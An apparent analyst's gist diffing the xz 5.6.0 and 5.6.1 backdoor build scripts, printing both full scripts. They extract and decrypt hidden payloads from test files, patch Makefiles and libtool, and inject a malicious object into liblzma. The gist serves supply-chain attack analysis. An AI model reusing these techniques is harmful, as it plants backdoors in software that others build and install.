Created
March 31, 2024 15:35
-
-
Save oogali/efd0b00ec68fbfc23ae8180e33e8ebdd to your computer and use it in GitHub Desktop.
difference between bad-3-corrupt_lzma2.xz in xz 5.6.0 vs 5.6.1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| --- ../5.6.0.txt 2024-03-31 11:33:02.350025845 -0400 | |
| +++ ../5.6.1.txt 2024-03-31 02:57:36.563153062 -0400 | |
| @@ -7,2 +7,3 @@ | |
| U="bad-3-corrupt_lzma2.xz" | |
| +[ ! $(uname)="Linux" ] && exit 0 | |
| eval $zrKcVq | |
| @@ -18,2 +19,19 @@ | |
| eval `grep ^gl_path_map=\' config.status` | |
| +vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null` | |
| +if test "x$vs" != "x" > /dev/null 2>&1;then | |
| +f1=`echo $vs | cut -d: -f1` | |
| +if test "x$f1" != "x" > /dev/null 2>&1;then | |
| +start=`expr $(echo $vs | cut -d: -f2) + 7` | |
| +ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null` | |
| +if test "x$ve" != "x" > /dev/null 2>&1;then | |
| +f2=`echo $ve | cut -d: -f1` | |
| +if test "x$f2" != "x" > /dev/null 2>&1;then | |
| +[ ! "x$f2" = "x$f1" ] && exit 0 | |
| +[ ! -f $f1 ] && exit 0 | |
| +end=`expr $(echo $ve | cut -d: -f2) - $start` | |
| +eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc` | |
| +fi | |
| +fi | |
| +fi | |
| +fi | |
| eval $zrKccj | |
| @@ -140,2 +158,19 @@ | |
| elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then | |
| +vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null` | |
| +if test "x$vs" != "x" > /dev/null 2>&1;then | |
| +f1=`echo $vs | cut -d: -f1` | |
| +if test "x$f1" != "x" > /dev/null 2>&1;then | |
| +start=`expr $(echo $vs | cut -d: -f2) + 7` | |
| +ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null` | |
| +if test "x$ve" != "x" > /dev/null 2>&1;then | |
| +f2=`echo $ve | cut -d: -f1` | |
| +if test "x$f2" != "x" > /dev/null 2>&1;then | |
| +[ ! "x$f2" = "x$f1" ] && exit 0 | |
| +[ ! -f $f1 ] && exit 0 | |
| +end=`expr $(echo $ve | cut -d: -f2) - $start` | |
| +eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc` | |
| +fi | |
| +fi | |
| +fi | |
| +fi | |
| eval $zrKcKQ | |
| @@ -168,8 +203,8 @@ | |
| N=0 | |
| -W=88792 | |
| +W=88664 | |
| else | |
| -N=88792 | |
| +N=88664 | |
| W=0 | |
| fi | |
| -xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true | |
| +xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true | |
| if ! test -f liblzma_la-crc64-fast.o; then |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" | |
| C="pic_flag=\" $P\"" | |
| O="^pic_flag=\" -fPIC -DPIC\"$" | |
| R="is_arch_extension_supported" | |
| x="__get_cpuid(" | |
| p="good-large_compressed.lzma" | |
| U="bad-3-corrupt_lzma2.xz" | |
| eval $zrKcVq | |
| if test -f config.status; then | |
| eval $zrKcSS | |
| eval `grep ^LD=\'\/ config.status` | |
| eval `grep ^CC=\' config.status` | |
| eval `grep ^GCC=\' config.status` | |
| eval `grep ^srcdir=\' config.status` | |
| eval `grep ^build=\'x86_64 config.status` | |
| eval `grep ^enable_shared=\'yes\' config.status` | |
| eval `grep ^enable_static=\' config.status` | |
| eval `grep ^gl_path_map=\' config.status` | |
| eval $zrKccj | |
| if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if test "x$enable_shared" != "xyes";then | |
| exit 0 | |
| fi | |
| if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if test "x$GCC" != 'xyes' > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if test "x$CC" != 'xgcc' > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| LDv=$LD" -v" | |
| if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then | |
| eval $zrKcst | |
| j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4" | |
| if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| z="^am__uninstall_files_from_dir = {" | |
| if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| w="^am__install_max =" | |
| if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| E=$z | |
| if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| Q="^am__vpath_adj_setup =" | |
| if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| M="^am__include = include" | |
| if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| L="^all: all-recursive$" | |
| if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| m="^LTLIBRARIES = \$(lib_LTLIBRARIES)" | |
| if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| u="AM_V_CCLD = \$(am__v_CCLD_\$(V))" | |
| if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$O" libtool > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| eval $zrKcTy | |
| b="am__test = $U" | |
| sed -i "/$j/i$b" src/liblzma/Makefile || true | |
| d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'` | |
| b="am__strip_prefix = $d" | |
| sed -i "/$w/i$b" src/liblzma/Makefile || true | |
| b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)" | |
| sed -i "/$E/i$b" src/liblzma/Makefile || true | |
| b="\$(top_srcdir)/tests/files/\$(am__test)" | |
| s="am__test_dir=$b" | |
| sed -i "/$Q/i$s" src/liblzma/Makefile || true | |
| h="-Wl,--sort-section=name,-X" | |
| if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then | |
| h=$h",-z,now" | |
| fi | |
| j="liblzma_la_LDFLAGS += $h" | |
| sed -i "/$L/i$j" src/liblzma/Makefile || true | |
| sed -i "s/$O/$C/g" libtool || true | |
| k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))" | |
| sed -i "s/$u/$k/" src/liblzma/Makefile || true | |
| l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\ | |
| export top_srcdir='\$(top_srcdir)'; \\\\\n\ | |
| export CC='\$(CC)'; \\\\\n\ | |
| export DEFS='\$(DEFS)'; \\\\\n\ | |
| export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\ | |
| export INCLUDES='\$(INCLUDES)'; \\\\\n\ | |
| export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\ | |
| export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\ | |
| export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\ | |
| export CFLAGS='\$(CFLAGS)'; \\\\\n\ | |
| export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\ | |
| export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\ | |
| export libdir='\$(libdir)'; \\\\\n\ | |
| export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\ | |
| export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\ | |
| sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1"; | |
| sed -i "/$m/i$l" src/liblzma/Makefile || true | |
| eval $zrKcHD | |
| fi | |
| elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then | |
| eval $zrKcKQ | |
| if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$C" ../../libtool; then | |
| exit 0 | |
| fi | |
| if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| N=0 | |
| W=0 | |
| Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4` | |
| eval $zrKcjv | |
| if test -z "$Y"; then | |
| N=0 | |
| W=88792 | |
| else | |
| N=88792 | |
| W=0 | |
| fi | |
| xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true | |
| if ! test -f liblzma_la-crc64-fast.o; then | |
| exit 0 | |
| fi | |
| cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true | |
| V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' | |
| eval $yosA | |
| if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \ | |
| sed "/include \"crc_x86_clmul.h\"/a \\$V" | \ | |
| sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \ | |
| $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then | |
| cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true | |
| eval $BPep | |
| if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \ | |
| sed "/include \"crc32_arm64.h\"/a \\$V" | \ | |
| sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \ | |
| $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then | |
| eval $RgYB | |
| if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then | |
| if test ! -f .libs/liblzma.so; then | |
| mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true | |
| else | |
| mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| rm -f .libs/liblzma_la-crc32-fast.o || true | |
| rm -f .libs/liblzma_la-crc64-fast.o || true | |
| else | |
| mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| else | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| rm -f liblzma_la-crc64-fast.o || true | |
| fi | |
| eval $DHLd |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" | |
| C="pic_flag=\" $P\"" | |
| O="^pic_flag=\" -fPIC -DPIC\"$" | |
| R="is_arch_extension_supported" | |
| x="__get_cpuid(" | |
| p="good-large_compressed.lzma" | |
| U="bad-3-corrupt_lzma2.xz" | |
| [ ! $(uname)="Linux" ] && exit 0 | |
| eval $zrKcVq | |
| if test -f config.status; then | |
| eval $zrKcSS | |
| eval `grep ^LD=\'\/ config.status` | |
| eval `grep ^CC=\' config.status` | |
| eval `grep ^GCC=\' config.status` | |
| eval `grep ^srcdir=\' config.status` | |
| eval `grep ^build=\'x86_64 config.status` | |
| eval `grep ^enable_shared=\'yes\' config.status` | |
| eval `grep ^enable_static=\' config.status` | |
| eval `grep ^gl_path_map=\' config.status` | |
| vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null` | |
| if test "x$vs" != "x" > /dev/null 2>&1;then | |
| f1=`echo $vs | cut -d: -f1` | |
| if test "x$f1" != "x" > /dev/null 2>&1;then | |
| start=`expr $(echo $vs | cut -d: -f2) + 7` | |
| ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null` | |
| if test "x$ve" != "x" > /dev/null 2>&1;then | |
| f2=`echo $ve | cut -d: -f1` | |
| if test "x$f2" != "x" > /dev/null 2>&1;then | |
| [ ! "x$f2" = "x$f1" ] && exit 0 | |
| [ ! -f $f1 ] && exit 0 | |
| end=`expr $(echo $ve | cut -d: -f2) - $start` | |
| eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc` | |
| fi | |
| fi | |
| fi | |
| fi | |
| eval $zrKccj | |
| if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if test "x$enable_shared" != "xyes";then | |
| exit 0 | |
| fi | |
| if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then | |
| exit 0 | |
| fi | |
| if test "x$GCC" != 'xyes' > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if test "x$CC" != 'xgcc' > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| LDv=$LD" -v" | |
| if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then | |
| eval $zrKcst | |
| j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4" | |
| if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| z="^am__uninstall_files_from_dir = {" | |
| if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| w="^am__install_max =" | |
| if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| E=$z | |
| if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| Q="^am__vpath_adj_setup =" | |
| if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| M="^am__include = include" | |
| if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| L="^all: all-recursive$" | |
| if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| m="^LTLIBRARIES = \$(lib_LTLIBRARIES)" | |
| if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| u="AM_V_CCLD = \$(am__v_CCLD_\$(V))" | |
| if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$O" libtool > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| eval $zrKcTy | |
| b="am__test = $U" | |
| sed -i "/$j/i$b" src/liblzma/Makefile || true | |
| d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'` | |
| b="am__strip_prefix = $d" | |
| sed -i "/$w/i$b" src/liblzma/Makefile || true | |
| b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)" | |
| sed -i "/$E/i$b" src/liblzma/Makefile || true | |
| b="\$(top_srcdir)/tests/files/\$(am__test)" | |
| s="am__test_dir=$b" | |
| sed -i "/$Q/i$s" src/liblzma/Makefile || true | |
| h="-Wl,--sort-section=name,-X" | |
| if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then | |
| h=$h",-z,now" | |
| fi | |
| j="liblzma_la_LDFLAGS += $h" | |
| sed -i "/$L/i$j" src/liblzma/Makefile || true | |
| sed -i "s/$O/$C/g" libtool || true | |
| k="AM_V_CCLD = @echo -n \$(LTDEPS); \$(am__v_CCLD_\$(V))" | |
| sed -i "s/$u/$k/" src/liblzma/Makefile || true | |
| l="LTDEPS='\$(lib_LTDEPS)'; \\\\\n\ | |
| export top_srcdir='\$(top_srcdir)'; \\\\\n\ | |
| export CC='\$(CC)'; \\\\\n\ | |
| export DEFS='\$(DEFS)'; \\\\\n\ | |
| export DEFAULT_INCLUDES='\$(DEFAULT_INCLUDES)'; \\\\\n\ | |
| export INCLUDES='\$(INCLUDES)'; \\\\\n\ | |
| export liblzma_la_CPPFLAGS='\$(liblzma_la_CPPFLAGS)'; \\\\\n\ | |
| export CPPFLAGS='\$(CPPFLAGS)'; \\\\\n\ | |
| export AM_CFLAGS='\$(AM_CFLAGS)'; \\\\\n\ | |
| export CFLAGS='\$(CFLAGS)'; \\\\\n\ | |
| export AM_V_CCLD='\$(am__v_CCLD_\$(V))'; \\\\\n\ | |
| export liblzma_la_LINK='\$(liblzma_la_LINK)'; \\\\\n\ | |
| export libdir='\$(libdir)'; \\\\\n\ | |
| export liblzma_la_OBJECTS='\$(liblzma_la_OBJECTS)'; \\\\\n\ | |
| export liblzma_la_LIBADD='\$(liblzma_la_LIBADD)'; \\\\\n\ | |
| sed rpath \$(am__test_dir) | \$(am__dist_setup) >/dev/null 2>&1"; | |
| sed -i "/$m/i$l" src/liblzma/Makefile || true | |
| eval $zrKcHD | |
| fi | |
| elif (test -f .libs/liblzma_la-crc64_fast.o) && (test -f .libs/liblzma_la-crc32_fast.o); then | |
| vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null` | |
| if test "x$vs" != "x" > /dev/null 2>&1;then | |
| f1=`echo $vs | cut -d: -f1` | |
| if test "x$f1" != "x" > /dev/null 2>&1;then | |
| start=`expr $(echo $vs | cut -d: -f2) + 7` | |
| ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null` | |
| if test "x$ve" != "x" > /dev/null 2>&1;then | |
| f2=`echo $ve | cut -d: -f1` | |
| if test "x$f2" != "x" > /dev/null 2>&1;then | |
| [ ! "x$f2" = "x$f1" ] && exit 0 | |
| [ ! -f $f1 ] && exit 0 | |
| end=`expr $(echo $ve | cut -d: -f2) - $start` | |
| eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc` | |
| fi | |
| fi | |
| fi | |
| fi | |
| eval $zrKcKQ | |
| if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc64_fast.c; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R()" $top_srcdir/src/liblzma/check/crc32_fast.c; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$R" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$x" $top_srcdir/src/liblzma/check/crc_x86_clmul.h; then | |
| exit 0 | |
| fi | |
| if ! grep -qs "$C" ../../libtool; then | |
| exit 0 | |
| fi | |
| if ! echo $liblzma_la_LINK | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| if echo $liblzma_la_LINK | grep -qs -e "lazy" > /dev/null 2>&1;then | |
| exit 0 | |
| fi | |
| N=0 | |
| W=0 | |
| Y=`grep "dnl Convert it to C string syntax." $top_srcdir/m4/gettext.m4` | |
| eval $zrKcjv | |
| if test -z "$Y"; then | |
| N=0 | |
| W=88664 | |
| else | |
| N=88664 | |
| W=0 | |
| fi | |
| xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true | |
| if ! test -f liblzma_la-crc64-fast.o; then | |
| exit 0 | |
| fi | |
| cp .libs/liblzma_la-crc64_fast.o .libs/liblzma_la-crc64-fast.o || true | |
| V='#endif\n#if defined(CRC32_GENERIC) && defined(CRC64_GENERIC) && defined(CRC_X86_CLMUL) && defined(CRC_USE_IFUNC) && defined(PIC) && (defined(BUILDING_CRC64_CLMUL) || defined(BUILDING_CRC32_CLMUL))\nextern int _get_cpuid(int, void*, void*, void*, void*, void*);\nstatic inline bool _is_arch_extension_supported(void) { int success = 1; uint32_t r[4]; success = _get_cpuid(1, &r[0], &r[1], &r[2], &r[3], ((char*) __builtin_frame_address(0))-16); const uint32_t ecx_mask = (1 << 1) | (1 << 9) | (1 << 19); return success && (r[2] & ecx_mask) == ecx_mask; }\n#else\n#define _is_arch_extension_supported is_arch_extension_supported' | |
| eval $yosA | |
| if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc64_fast.c | \ | |
| sed "/include \"crc_x86_clmul.h\"/a \\$V" | \ | |
| sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc64_fast.c\"" 2>/dev/null | \ | |
| $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r liblzma_la-crc64-fast.o -x c - $P -o .libs/liblzma_la-crc64_fast.o 2>/dev/null; then | |
| cp .libs/liblzma_la-crc32_fast.o .libs/liblzma_la-crc32-fast.o || true | |
| eval $BPep | |
| if sed "/return is_arch_extension_supported()/ c\return _is_arch_extension_supported()" $top_srcdir/src/liblzma/check/crc32_fast.c | \ | |
| sed "/include \"crc32_arm64.h\"/a \\$V" | \ | |
| sed "1i # 0 \"$top_srcdir/src/liblzma/check/crc32_fast.c\"" 2>/dev/null | \ | |
| $CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c - $P -o .libs/liblzma_la-crc32_fast.o; then | |
| eval $RgYB | |
| if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then | |
| if test ! -f .libs/liblzma.so; then | |
| mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true | |
| else | |
| mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true | |
| mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true | |
| fi | |
| rm -f .libs/liblzma_la-crc32-fast.o || true | |
| rm -f .libs/liblzma_la-crc64-fast.o || true | |
| else | |
